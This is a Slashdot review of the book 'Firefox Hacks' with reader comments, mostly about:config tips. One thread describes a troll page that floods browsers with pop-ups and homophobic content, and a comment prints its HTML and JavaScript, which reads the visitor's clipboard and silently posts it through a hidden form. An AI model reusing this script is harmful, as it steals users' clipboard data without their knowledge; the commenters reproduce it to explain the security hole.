Firefox Hacks 309
| Firefox Hacks | |
| author | Nigel McFarlane |
| pages | 368 |
| publisher | O'Reilly |
| rating | 7 |
| reviewer | Tony Williams |
| ISBN | 0596009283 |
| summary | A good, fairly technical examination of Firefox |
The first of several books on the topic of Firefox hacking (two more are due from other publishers in the coming months) Firefox Hacks sets the bar quite high. The author, Nigel McFarlane, has already written a number of other books and articles on similar topics and knows his subject well. He has also enlisted the help of a number of other cognoscenti to cover the more distant corners covered in the book.
A Web browser is a much more complex piece of software than you may realize on first examination, and Firefox -- with the core Gecko engine surrounded by a large wrapper written in XUL and JavaScript -- provides a fertile ground for any number of changes and enhancements. Firefox Hacks does a good job of mapping out the boundaries of this space.
Over the course of the now-traditional 100 hacks found in the same series' other members, this book covers hacking with, on, and to almost all aspects of Firefox and the 'net. The book is broken up into nine chapters, most worth reading by almost everyone -- even the first, "Firefox Basics," taught me a couple of tricks for getting the best out of a slow (and expensive) GPRS connection. The others are "Security," "Installation," "Web Surfing Enhancements," "Power Tools for Web Developers," "Power XML for Web Pages," "Hack the Chrome Ugly," "Hack the Chrome Cleanly," and "Work More Closely With Firefox." I have to say I felt the chapter on Power XML (with 17 of the 100 hacks) was far too general on Web technologies and a little out of place; easily half the hacks in that chapter could have been dropped without any real loss to a reader's understanding of Firefox. I would have preferred more on the browser itself. No insult intended to Seth Dillingham, who wrote four of the hacks I'd throw out -- they are well written and do show how best to deal with Web technologies inside Firefox. I just felt that the space would have been better devoted to more "core" topics.
The first four chapters will be useful to everyone, covering mainly the use of Firefox. From that point, the hacks become increasingly complex as they cover Web development, then modifying the interface, before covering such arcana as creating extensions and custom builds.
I am hard pressed to think of a corner of Firefox not at least touched, though it must be said that the later hacks only touch on the topics covered without really providing a lot of depth. If you get to the last two chapters in the book, performing and expanding on the hacks, you will probably need a great deal more information and assistance to branch out on your own. McFarlane, however, points out the possibilities and gets you started. I didn't feel this was a flaw, just that a line had been drawn, as it must unless the book was going to be three times the size and price.
The book is fairly well written. The quality of writing and editing fall into that middle ground of "fairly good" that one expects from the average O'Reilly book, though not the "excellent" they can sometimes hit. The structure and flow are excellent, making the book readable in large chunks -- enough sticks that when you are back in front of the computer using Firefox you can remember a few things. (Or, sometimes, I remembered that a hint existed and was able to easily find and use the information.)
For a closer look there is a decent page at O'Reilly with links to six example hacks, the table of contents (listing all 100 hacks) and the index.
To conclude, I'm not sure I could recommend this book to everyone; it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume. For someone who is happy as "just a user," this book may be too much: wait and see what else emerges into the Firefox book market -- including O'Reilly's other offering, the soon-to-be-released Don't Click on the Blue E, which they describe as giving "non-technical users a convenient roadmap for switching to a better web browser--Firefox."
Also watch soon for a review of Prentice Hall's Firefox & Thunderbird Garage. You can purchase Firefox Hacks from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.
I've read the PDF pages on the site... (Score:5, Informative)
Good about: config explanation (Score:5, Informative)
I did the opposite of the Anonymity sub-chapter by putting my home page URL into my referrer string.
Re:Didn't RTFA yet (Score:2, Informative)
If there is an application I run more often than my Web browser, then I don't know what it might be.
The "then" might be debatable, but otherwise it makes perfect sense to me. And taking the aside on its own is fine as well, so I dunno what your gripe is.
Re:PDF Hack (Score:5, Informative)
Not only "slowly" but also unstably.
Every system I've applied this FAQ entry to has much better performance.
Re:THE BEST FIREFOX HACK (Score:4, Informative)
HTML instead of PDF (Score:5, Informative)
Hack 31: Take Firefox with You [64.233.179.104]
Hack 43: Waste Time with Toys and Games [64.233.179.104]
Hack 44: Tweak and Troubleshoot CSS Designs [64.233.179.104]
Hack 69: Make New Tags and Widgets with XBL [64.233.179.104]
Hack 92: Get a Custom, Prebuilt Version [64.233.179.104]
--
Fairfax Underground: Where Fairfax County comes out to play [fairfaxunderground.com]
Don't click on the blue E! (Score:5, Informative)
O'reilly have a book called Don't click on the blue E! [oreilly.com] that's a kind of migration guide from IE to Firefox for disenchanted Internet Explorer users.
I just love the title of it. Frankly, how many Firefox users trying to get thir sister/mother/grandma to use Firefox (mostly because they're sick of being called to remove spywares/viruses induced by IE) have actually use that phrase?
Nice review (Score:5, Informative)
Re:PDF Hack (Score:1, Informative)
from the firefox website...
remove this entry if you don't want PDF files sent to an external viewer and would prefer to download them
Re:is there a hack to remove the 'cannot connect m (Score:5, Informative)
browser.xul.error_pages.enabled
Enjoy.
What it really does. (Score:5, Informative)
This is a pretty ingenious script that
- Opens up windows (or tabs, depending on how you open the link) as fast as your computer can - 100% CPU
- Each window displays gay porn
- Plays a loud sound "Hey everybody I'm looking at gay porno"
- Behind the scenes it also copies the contents of your clipboard to this guy.
It works in IE and firefox. It is simply a page with an image, a flash movie, and a javascript that copies your clipboard to a field then 'submit()'s' the form, reloading the page.Very simple and bypasses popup blockers (at least the ones I have on).
This has got to be a security hole in firefox, both on the ability to open windows/tabs, and copying the clipboard.
If you want to have a look, use:
WARNING: dont click on this link, just copy the wget command to a shell. Dont say I didn't warn you...Re:One hack I want (Score:5, Informative)
The reason your intranet works for everyone on IE is because IE supports Windows integrated security. It can tell that you are who you say you are because your machine is joined to the Windows domain.
MAF (Score:5, Informative)
Re:PDF Hack (Score:2, Informative)
Re:Close (Score:3, Informative)
Re:One hack I want (Score:1, Informative)
* In the Address bar type "about:config" (no quotes)
* In the filter field type "ntlm" (no quotes)
* Double click "network.automatic-ntlm-auth.trusted-urls"
* Add the following to the dialogue that appears "" (no quotes, and keep the spaces after the commas)
* Click OK
* Exit Firefox and restart
Re:What it really does. (Score:1, Informative)
<head>
<title>GNAA Last Measure v4.1 by Rucas with Armorfist's PopupByPasser Mod.</title>
</head>
<body>
<form name="clip" method="post" action="index.php" style="display:none">
<input type="text" name="content">
<input type="hidden" name="send" value="1">
<input type="hidden" name="referer" value="">
<input type="hidden" name="user" value="">
<input type="submit">
</form>
<script language="javascript">
//without this if statement check, it bombs out with an error
if(typeof clipboardData != 'undefined') {
var content = clipboardData.getData("Text");
document.forms["clip"].elements["content"].value = content;
}
document.forms["clip"].submit();
</
</body>
</html>
</head>
<body >
<table width="100%" height="100%"><tr><td valign="middle"><div align="center"><a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a><br><br>
<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-4445535400
<param name='movie' value='flash/first_opener.swf'>
<param name='quality' value='high'>
<embed src='flash/first_opener.swf' quality='high' pluginspage='http://www.macromedia.com/go/getflas
</object>
</div></td></tr></table></body></html>
Re:One hack I want (Score:5, Informative)
Re:Haven't read the book.. (Score:2, Informative)
Installing a extension just so you can tweak a few bookmark icons is just a bit, you know...
Re: Greasemonkey (Score:4, Informative)
Looking at the CVS repository for Greasemonkey ( http://www.mozdev.org/source/browse/greasemonkey/ [mozdev.org] ), it looks like the oldest files are four months old, which means that yes, Greasemonkey is too new to have had a chance to get in to the book. I imagine that it'll *probably* be featured in any subsequent editions. The problem is that Greasemonkey is really quite code-centric, far more so than most of the stuff in the last few chapters, and those chapters are already striking some as "too technical." Writing a hack would be tricky, as you'd have two main options, neither of which are particularly appealing:
* Delve into the nuts-and-bolts of programming to show users how to Get Stuff Done with Greasemonkey, which is outside the scope of the book, or
* treat The Code That Does Stuff as magic, and use e.g. Butler as an example of what can be done.
Of course, hacks.oreilly.com does allow you to submit your own hacks. If you want a job done right...
Re:is there a hack to remove the 'cannot connect m (Score:4, Informative)
Re:PDF Hack (Score:2, Informative)
Re:PDF Hack (Score:5, Informative)
Re:What it really does. (Score:3, Informative)
Re:What it really does. (Score:3, Informative)
privacy.popups.disable_from_plugins = 2
Re:PDF Hack (Score:2, Informative)
Re:Haven't read the book.. (Score:3, Informative)
You really should give a link for Greasemonkey [mozdev.org], and to the script repository [dunck.us].
Also, shameless pimpage, but I've built a Greasemonkey implementation for IE, GreasemonkIE [daishar.com]. It's still in development (missing a pretty major feature right now, which should be sorted out soon -- covered in the blog entry above), but it works quite well considering IE's limitations. GreasemonkIE tries to re-use existing Greasemonkey user scripts as much as possible, but other browsers have user script support too. The new Opera beta has an implementation of user scripts, and PithHelmet [culater.net] does the same for Safari (among many other features). Up until yesterday, IE was the only browser left out of the user script craze, but I'm trying to rectify that.
Re:What it really does. (Score:5, Informative)
You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):
Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .
Re:how do you hack Firefox to give your sweety a k (Score:2, Informative)
It's not spyware like what you described but rather will allow you to queue pages to your GF. When she hits her stumble button it will show your comment to her then load the page.
It's actually really cool. It does a bunch of other things too. I could go on and on decribing it to you but I wont. Go check it out, you wont be sorry.
Here is my stumble page as an example:
http://emfb.stumbleupon.com/ [stumbleupon.com]
Re:Session Saver (Score:2, Informative)
Re:Haven't read the book.. (Score:3, Informative)
add these lines to your user.js to get rid of all site icons.
// Disable Bookmark Icons
user_pref("browser.chrome.site_icons", false);
user_pref("browser.chrome.favicons", false);
(though it wont clean the code for known icons out of bookmarks.html)
Re:PDF Hack (Score:2, Informative)
Why do Adobe pdf files load slowly in Windows?
Adobe Reader 6.0 for Windows loads lots of unused plugins on startup. The Inquirer has a great article explaining how you can disable those unneeded plugins and make Adobe Reader load faster. Basically, you need to do the following:
1. Install Adobe Reader 6.0 and notice where it is installed.
2. Navigate to that folder in Explorer, locate the plug_ins subfolder and rename this folder to plug_ins_disabled.
3. Create a new plug_ins folder.
4. Move the files EWH32.api, printme.api and search.api from plug_ins_disabled to plug_ins.